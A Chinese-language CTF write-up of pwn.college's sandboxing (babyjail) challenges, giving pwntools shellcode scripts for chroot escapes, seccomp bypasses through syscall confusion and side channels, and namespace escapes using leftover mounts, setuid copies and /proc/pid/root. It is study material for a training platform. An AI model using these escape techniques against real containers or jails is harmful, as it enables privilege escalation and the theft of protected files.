

Pwn.College Sandboxing WP

前言

▼ 代码块

Plain Text ▾

自动换行

复制

```
1  flags: 表示打开的标志;
2
3  O_ACCMODE<0003>: 读写文件操作时, 用于取出flag的低2位。
4  O_RDONLY<00>: 只读打开
5  O_WRONLY<01>: 只写打开
6  O_RDWR<02>: 读写打开
7  O_CREAT<0100>: 文件不存在则创建, 需要mode_t
8  O_EXCL<0200>: 如果同时指定了O_CREAT, 而文件已经存在, 则出错
9  O_NOCTTY<0400>: 如果pathname代表终端设备, 则不将此设备分配作为此进程的控制终端
10 O_TRUNC<01000>: 如果此文件存在, 而且为只读或只写成功打开, 则将其长度截短为0
11 O_APPEND<02000>: 每次写时都加到文件的尾端
12 O_NONBLOCK<04000>: 如果pathname指的是一个FIFO、一个块特殊文件或一个字符特殊文件
13 O_NDELAY<O_NONBLOCK>
14 O_SYNC<010000>: 使每次write都等到物理I/O操作完成。
15 FASYNC<020000>: 兼容BSD的fcntl同步操作
16 O_DIRECT<040000>: 直接磁盘操作标识, 每次读写都不使用内核提供的缓存, 直接读写磁盘设备
17 O_LARGEFILE<0100000>: 大文件标识
18 O_DIRECTORY<0200000>: 必须是目录
19 O_NOFOLLOW<0400000>: 不获取连接文件
20 O_NOATIME<01000000>: 暂无
21
22 mode: 当新创建一个文件时, 需要指定mode参数, 以下说明的格式如宏定义名称<实际常数值>: 描述如
23
24 S_IRWXU<00700>: 文件所有者有读写执行权限
25 S_IRUSR (S_IREAD)<00400>: 文件所有者仅有读权限
26 S_IWUSR (S_IWRITE)<00200>: 文件所有者仅有写权限
27 S_IXUSR (S_IEXEC)<00100>: 文件所有者仅有执行权限
28 S_IRWXG<00070>: 组用户有读写执行权限
29 S_IRGRP<00040>: 组用户仅有读权限
30 S_IWGRP<00020>: 组用户仅有写权限
31 S_IXGRP<00010>: 组用户仅有执行权限
32 S_IRWXO<00007>: 其他用户有读写执行权限
33 S_IROTH<00004>: 其他用户仅有读权限
34 S_IWOTH<00002>: 其他用户仅有写权限
35 S_IXOTH<00001>: 其他用户仅有执行权限
```

pwnheader.py

代码块

```
1  from pwn import *
2
3  dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)
4  dojo.sftp = None
5  dojo._tried_sftp = True
6
7  p : process
8  gx = 0
9  gy =0
10
11  s      = lambda data          :p.send(data)
12  sl     = lambda data          :p.sendline(data)
13  sa     = lambda x,data        :p.sendafter(x, data)
14  sla    = lambda x,data        :p.sendlineafter(x, data)
15  r      = lambda num=4096      :p.recv(num)
16  rl     = lambda num=4096      :p.recvline(num)
17  ru     = lambda x             :p.recvuntil(x)
18  itr    = lambda              :p.interactive()
19  uu32   = lambda data          :u32(data.ljust(4,b'\x00'))
20  uu64   = lambda data          :u64(data.ljust(8,b'\x00'))
21  uru64  = lambda              :uu64(ru('\x7f')[-6:])
22  leak   = lambda name          :log.success('{} = {}'.format(name, hex(e
23  libc_os = lambda x            :libc_base + x
24  libc_sym = lambda x           :libc_os(libc.sym[x])
25
26  prefix = "/challenge/babyjail_level"
27
28  def start(prog:str,args=[]):
29      global p
30      p = dojo.process([prog] + (args))
31      return p
32
33  def staa(x,arg):
34      dojo.download_file(prefix+str(x))
35      start(prefix+str(x),arg)
36
37  def sta(x,arg = []):
38      global gx
39      gx = x
40      fstr = str(x)
41      dojo.download_file(prefix+fstr)
42      return start(prefix+fstr,arg)
```

```

43
44 def ssta(x,arg = []):
45     fstr = str(x)
46     dojo.download_file(prefix+fstr)
47     return start("strace",["-e","raw=read",prefix+fstr] + arg)
48
49 cf = lambda : print(dojo.system("ls -l / ; cat /flag").recvall().decode())
50
51 def debug(pid=None):
52     ctxlvl = context.log_level
53     context.log_level = 'warn'
54     if pid:
55         dojo.system("pwndbg /challenge/babyjail_level" + str(gx) + " -ex 'atta
56         dojo.system("pwndbg /challenge/babyjail_level"+str(gx)).interactive()
57     context.log_level = ctxlvl
58
59 def debug(x):
60     ctxlvl = context.log_level
61     context.log_level = 'warn'
62     dojo.system("pwndbg /challenge/babyjail_level"+str(x)).interactive()
63     context.log_level = ctxlvl
64
65 context.log_level='debug'
66 context.arch = "amd64"

```

-- chroot --

1 未cd

保留了pwd在外面，可以相对路径读

代码块

```

1 from pwnheader import *
2
3 # p = sta(1)
4
5 start("/challenge/babyjail_level1",["../..../flag"])
6
7 itr()

```

2 未cd shellcode

不是直接读，给shellcode

代码块

```
1  from pwnheader import *
2
3  staa(2,["111"])
4
5  sc = shellcraft.chmod(".././flag",0o777)
6  sh = asm(sc)
7
8  ru("stdin.\n")
9  s(sh)
10
11 itr()
12 cf()
```

3-4 提前打开目录

```
if ( open(argv[1], 0400000) >= 0 )
    printf("Successfully opened the file located at `%s`.\n", argv[1]);
else
    printf("Failed to open the file located at `%s`.\n", argv[1]);
```

在chroot之前可以打开目录，chroot之后fd仍然有效，可以使用openat开文件然后sendfile

代码块

```
1  from pwnheader import *
2
3  # sta(3,["/"])
4  sta(4,["/"])
5  sc = shellcraft.openat(3, "flag", 0)
6  sc += shellcraft.sendfile(1, "rax",0, 0x100)
7  sh = asm(sc)
8
9  # itr()
10 s(sh)
11
12 itr()
```

5 用linkat替代openat

代码块

```
1  from pwnheader import *
2
3  sta(5,["/"])
4
5  sc = shellcraft.open("/",0)
6  sc += shellcraft.linkat(3, "flag", 4,"fflag",0)
7  sc += shellcraft.open("/fflag",0)
8  sc += shellcraft.sendfile(1, "rax",0, 0x100)
9  sh = asm(sc)
10
11  # itr()
12  s(sh)
13
14  itr()
```

注意pwntools的linkat生成会破坏rax，不能在参数中使用rax...

6 用 fchdir 跳出

代码块

```
1  from pwnheader import *
2
3  sta(6,["/"])
4
5  sc = shellcraft.fchdir(3)
6  sc += shellcraft.open("flag",0)
7  sc += shellcraft.sendfile(1, "rax",0, 0x100)
8  sh = asm(sc)
9
10  # itr()
11  s(sh)
12
13  itr()
```

7 内部 chroot 后利用 pwd 在新 root 外逃逸

内核中只保存一份chroot，所以再次chroot就会覆盖了

```

1  from pwnheader import *
2
3  sta(7,["/"])
4
5  sc = shellcraft.mkdir("break")
6  sc += shellcraft.chroot("/break")
7  sc += shellcraft.open("../../flag",0)
8  sc += shellcraft.sendfile(1, "rax",0, 0x100)
9  sh = asm(sc)
10
11  # # itr()
12  s(sh)
13
14  itr()

```

8 利用父进程打开文件夹并传递

这里禁止了open，只有openat，程序也没有给打开。openat需要一个dfd，需要使用父进程打开并传进去。为了达到目的，先编写一个helper:

代码块

```

1  #include <stdlib.h>
2  #include <fcntl.h>
3  #include <unistd.h>
4  #include <sys/wait.h>
5
6  int main(int argc, char *argv[], char *envp[]) {
7      if(argc < 3){
8          return -1;
9      }
10     int fd = open(argv[1], O_RDONLY);
11     if (fd < 0) {
12         perror("open");
13         return -2;
14     }
15     if(fork() == 0){
16         execve(argv[2], argv + 2, envp);
17     }
18     wait(NULL);
19     return 0;
20 }

```

本地编译好了测试一下，然后上传

接着就可以正常openat+sendfile了

代码块

```
1  from pwnheader import *
2
3  # context.log_level = "warn"
4
5  # sta(8,["/"])
6  # dojo.upload_file("./jailhelper")
7
8  start("./jailhelper",["/",prefix + "8"])
9
10 sc = shellcraft.openat(3, "flag", 0)
11 sc += shellcraft.sendfile(1, "rax",0, 0x100)
12 sh = asm(sc)
13
14 # itr()
15 s(sh)
16
17 itr()
18
```

9 Syscall Confusion

允许["close", "stat", "fstat", "lstat"],即x64 3-6, x86下正好是orw

代码块

```
1  from pwnheader import *
2
3  sta(9)
4
5  sc = ""
6  xor rax,rax
7  xor rbx, rbx
8  xor rcx, rcx
9  xor rdx, rdx
10
11 mov eax, 5
12 lea ebx, [eip+flag]
13 mov ecx, 0
14 int 0x80
```

```

15
16  mov ebx, eax
17  mov eax, 3
18  mov ecx, 0x1337800
19  mov edx, 0x100
20  int 0x80
21
22  mov eax, 4
23  mov ebx, 1
24  int 0x80
25
26  flag:
27  .ascii "/flag"
28  ""
29
30  sh = asm(sc)
31
32  s(sh)
33
34  itr()

```

10 基于返回值漏 flag

不许write，可以exit，这样就可以传递了

shell的\$? 只有1字节，需要多打几次，正常直接poll就可以拿到4byte

代码块

```

1  from pwnheader import *
2
3  context.log_level = "warn"
4  errl = []
5
6  for i in range(60):
7      p = start("sh",["-c",prefix+"10 /flag; echo $?"])
8      # itr()
9      sc = shellcraft.read(3, "rsp", 0x100)
10     sc += ""
11         xor rdi, rdi
12         mov dil, byte ptr [rsp+{}]
13         mov rax, 60
14         syscall
15     """.format(i)
16     sh = asm(sc)

```

```

17     s(sh)
18     # itr()
19     ru("code!\n\n")
20     err = int(rl())
21     errl.append(err)
22     print(err)
23
24     print("".join([chr(i) for i in errl]))

```

11 基于延迟漏 flag

只有 read 和 nanosleep，毫秒不准，用秒，多线程。注意太多线程会导致准确率下降

代码块

```

1  from pwnheader import *
2
3  context.log_level = "warn"
4
5  def gen(pos):
6      sc = "sub rsp, 100\n"
7      sc += shellcraft.read(3, "rsp", 100)
8      sc += ""
9      xor rax, rax
10     mov al, byte ptr [rsp+{}]
11     sub al, 0x20
12     push 0
13     push rax
14     "".format(pos)
15     sc += shellcraft.nanosleep("rsp", 0)
16     sc += "add rsp, 100+16\n"
17     sc += "ret\n"
18     return asm(sc)
19
20     lx = bytearray(80)
21     payload = []
22
23     def worker(pos):
24         p = start("bash", ["-c", "time -p "+prefix+"11 /flag"])
25         # p.interactive()
26         p.send(payload[pos])
27         p.recvuntil("code!\n\n")
28         p.recvuntil("real ")
29         i = int(p.recvuntil('.').decode().replace('.', ''))+0x20
30         lx[pos] = i

```

```

31     print(chr(i))
32     p.close()
33     print(lx)
34
35     print("Generating payload")
36     for i in range(70):
37         payload.append(gen(i))
38
39     threads = []
40
41     for j in range(7):
42         for i in range(8):
43             t = threading.Thread(target=worker, args=(i+j*8,))
44             threads.append(t)
45             t.start()
46         for t in threads:
47             t.join()
48         threads = []
49
50     print(lx)
51
52     # itr()

```

12 基于程序运行状态逐位爆破

只允许read，那就在对应位为0时返回（导致exit调用然后返回bad syscall），否则直接非法访存得到segment fault

漫长等待，搭个角先(

代码块

```

1  from pwnheader import *
2  import threading
3
4  context.log_level = "warn"
5  errl = bytearray(60)
6
7  def gen(i,b):
8      sc = "sub rsp, 0x100\n"
9      sc += shellcraft.read(3, "rsp", 0x100)
10     sc += ""
11
12     xor rax, rax
13     mov al, byte ptr [rsp+{}]
14     shr al, {}

```

```

14         and al, 1
15         test al, al
16         jz normal
17         mov rax, [0x0]
18
19         normal:
20         add rsp, 0x100
21         ret
22         """.format(i,b)
23         return asm(sc)
24
25     # scl = []
26
27     # print("Generating shellcode...")
28     # for i in range(56*8):
29     #     scl.append(gen(i//8, i%8))
30     #     print(".",end="")
31
32     def get1bit(i, b ):
33         p = start("bash",["-c",prefix+"12 /flag; echo $?"])
34         # p = sta(12, ["/flag"])
35         # itr()
36         # sh = scl[i*8+b]
37         p.send(gen(i,b))
38         # itr()
39         p.recvuntil("/flag\n")
40         err = int(rl())
41         print(err)
42         if(err == 139):
43             errl[i] = errl[i] | (1<<b)
44         p.close()
45
46     def worker(start):
47         for i in range(start, start+7):
48             for b in range(8):
49                 get1bit(i,b)
50             print(errl)
51
52     for i in range(56):
53         for b in range(8):
54             get1bit(i,b)
55         print(errl)
56
57     # th = []
58
59     # for i in range(8):
60     #     t = threading.Thread(target=worker, args=(i*7,))

```

```
61 # th.append(t)
62 # t.start()
63
64 # for t in th:
65 #     t.join()
66
67 # print("".join([chr(i) for i in errl]))
68
69 # get1bit(0,0)
70 print(errl)
```

13 综合父子进程通信

限制了只能在父进程做io，子进程执行shellcode并和父进程通讯

```

if ( child_pid )
{
    puts("The parent is reading 0x1000 bytes of shellcode from stdin.\n");
    read(0, v12, 0x1000uLL);
    puts("The parent is sending the shellcode to the child.\n");
    write(childout, v12, 0x1000uLL);
} while ( 1 )
{
    while ( 1 )
    {
        memset(s1, 0, sizeof(s1));
        puts("The parent is waiting for a command from the child.\n");
        v8 = read(childout, s1, 0x80uLL);
        s1[9] = 0;
        printf(
            "The parent received command `%.10s` with an argument of %d bytes from the child.\n",
            s1,
            (unsigned int)(v8 - 10));
        if ( strcmp(s1, "print_msg") )
            break;
        puts(&s1[10]);
    }
    if ( strcmp(s1, "read_file") )
        break;
    v3 = open(&s1[10], 0);
    sendfile(childout, v3, 0LL, 0x80uLL);
}
puts("Error: unknown command!\n");
}
else
{
    puts("The child will now close itself off from the world, except for the child side of the socketpair.\n");
    close(0);
    close(1);
    close(2);
    close(childout);
    if ( mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL) != (void *)20148224 )
        __assert_fail("shellcode == (void *)0x1337000", "<stdin>", 0x48u, "main");
    printf("The child mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x1337000);
    puts("Restricting system calls (default: kill).\n");
    v9 = seccomp_init(0LL);
    printf("Allowing syscall: %s (number %i).\n", "read", 0LL);
    if ( (unsigned int)seccomp_rule_add(v9, 2147418112LL, 0LL, 0LL) )
        __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0", "<stdin>", 0x50u, "main");
    printf("Allowing syscall: %s (number %i).\n", "write", 1LL);
    if ( (unsigned int)seccomp_rule_add(v9, 2147418112LL, 1LL, 0LL) )
        __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0", "<stdin>", 0x52u, "main");
    printf("Allowing syscall: %s (number %i).\n", "exit", 60LL);
    if ( (unsigned int)seccomp_rule_add(v9, 2147418112LL, 60LL, 0LL) )
        __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) == 0", "<stdin>", 0x54u, "main");
    if ( (unsigned int)seccomp_load(v9) )
        __assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x56u, "main");
    read(v7, (void *)0x1337000, 0x1000uLL);
    write(v7, "print msg:Executing shellcode!", 0x80uLL);
    MEMORY[0x1337000]();
}
}

```

父进程可以执行从子进程发来的命令，是read_file和print_msg

子进程只允许read write from parent

基于栈来构造数据，注意push一次是8字节

代码块

```

1  from pwnheader import *
2  import threading
3
4  context.log_level = "info"
5
6  sc = shellcraft.pushstr("read_file\x00/flag\x00")
7  sc += shellcraft.write(4, "rsp", 16)

```

```

8  sc += shellcraft.read(4, "rsp", 0x80)
9  sc += shellcraft.pushstr("\0\0\0\0\0\0print_msg\0")
10 sc += "add rsp, 6\n"
11 sc += shellcraft.write(4, "rsp", 0x80)
12 sh = asm(sc)
13
14 sta(13)
15
16 s(sh)
17
18 itr()
19

```

-- NameSpace --

14 pivot_root 后未卸载旧的root

如题,

```

Checking that the challenge is running as root (otherwise things will fail)...
Splitting off into our own mount namespace...
Creating a jail structure!
... creating jail root...
... created jail root at `/tmp/jail-HsXDSd`.
... changing the old / to a private mount so that pivot_root succeeds later.
... bind-mounting the new root over itself so that it becomes a 'mount point' for pivot_root() later.
... creating a directory in which pivot_root will put the old root filesystem.
... pivoting the root filesystem!
... bind-mounting /bin into the jail.
... though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
... bind-mounting /usr into the jail.
... though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
... bind-mounting /lib into the jail.
... though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
... bind-mounting /lib64 into the jail.
... though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
Moving the current working directory into the jail.

Executing a shell inside the sandbox! Good luck!

```

没有卸载旧的 root, 可以从old访问到

```

bash-5.0# ls -l
total 36
drwxr-xr-x 1 0 0 4096 Sep  6 16:44 bin
----- 1 0 1000 10 Sep 13 03:13 flag
drwxr-xr-x 1 0 0 4096 Sep  6 16:19 lib
drwxr-xr-x 1 0 0 4096 Sep  6 16:17 lib64
drwxr-xr-x 1 0 0 4096 Sep 13 03:10 old
drwxr-xr-x 1 0 0 4096 Sep  6 16:19 usr
bash-5.0# cd old
bash-5.0# ls
bin boot challenge dev etc flag home lib lib32 lib64 libx32 media mnt nix opt proc root run sbin srv sys tmp usr var
bash-5.0# cat flag
run_college{nc-778uTCiFe5Guint7VXszS7mtT_drdMzMDIvTD0vYzwl}

```

15 可写绑定挂载直接改权限

容器是通过绑定挂载的host，那么在目录中写就等于写到外面。我们在容器内有：

```
bash-5.0# id
uid=0 gid=1000 groups=1000
```

那就可以直接chmod 4777 一个cat

然后在容器外执行这个特权cat来得到flag

16 同PID空间通过 /proc/{pid}/root访问外部文件系统

参考<https://www.freebuf.com/articles/es/377292.html>

本题中，全部都是只读绑定挂载，注意到容器内权限同上，然后有

```
bash-5.0# cd /proc/152
bash-5.0# ls
arch_status auxv clear_refs comm cpuset environ fd gid_map limits map_files mem mounts net numa_maps oom_score pagemap projid_map schedstat setgroups smaps_rollup stat status task uid_map
attr cgroup cmdline coredump_filter cwd exe fdinfo io loginuid maps mountinfo mountstats ns oom_adj oom_score_adj personality root sessionid smaps stack statm syscall timerslack_ns uchan
bash-5.0# cd root
bash-5.0# ls
bin boot challenge dev etc flag home lib lib32 lib64 libx32 media mnt nix opt proc root run sbin srv sys tmp usr var
bash-5.0# cat flag
man.c011ee6c7b1fe47124c9f0e90d07081-KnSR..d17NtHNI vTRXvYvU
```

17 利用进入ns之前打开的fd

允许进入ns之前打开一个文件，这里直接打开/，类似于chroot之前打开的文件，然后走openat路线即可orw

代码块

```
1 from pwnheader import *
2
3 context.log_level = "info"
4 start("vm", ["exec", "/challenge/babyjail_level17", "/"])
5
6 sc = shellcraft.openat(3, "flag", 0)
7 sc += shellcraft.read(4, "rsp", 0x80)
8 sc += shellcraft.write(1, "rsp", 0x80)
9
10 code = asm(sc)
11
12 ru("stdin.")
13 s(code)
14
```

18 利用只读挂载复制可利用文件并改权限

15的升级版，允许绑定一个非敏感的文件目录或者自己的home，鉴于ns内的/是bind mount的，首先可以修/的权限为777来允许外部访问；然后从自己目录里面复制一个cat到/里面再chown 0 0和chmod 4777，随后即可在外部访问到这个特权cat了

代码块

```
1  from pwnheader import *
2
3  context.log_level = "info"
4  start("vm", ["exec", "/challenge/babyjail_level18", "/home/hacker"])
5
6  sc = shellcraft.open("/data/cat", 0)
7  sc += shellcraft.open("/cat", 0o100 | 0o01)
8  sc += shellcraft.sendfile(4, 3, 0, 1048576)
9  sc += shellcraft.chmod("/", 0o777)
10 sc += shellcraft.chown("/cat", 0, 0)
11 sc += shellcraft.chmod("/cat", 0o4777)
12
13 code = asm(sc)
14
15 ru("stdin.")
16 s(code)
17
18 itr()
```

后记

Snadbox 模块还是比较有意思，一定程度上揭晓了docker的原理以及为什么不允许容器嵌套。对于搭建简单的jail来出题很有帮助:-)

总结起来，监狱的流程就是请君入瓮然后锁门，注意封死地道天窗。一套namespace和seccomp组合拳打下来估计就剩下内核洞可以利用了（

可惜开学忙起来了，前后鸽了十几天，总算补完了。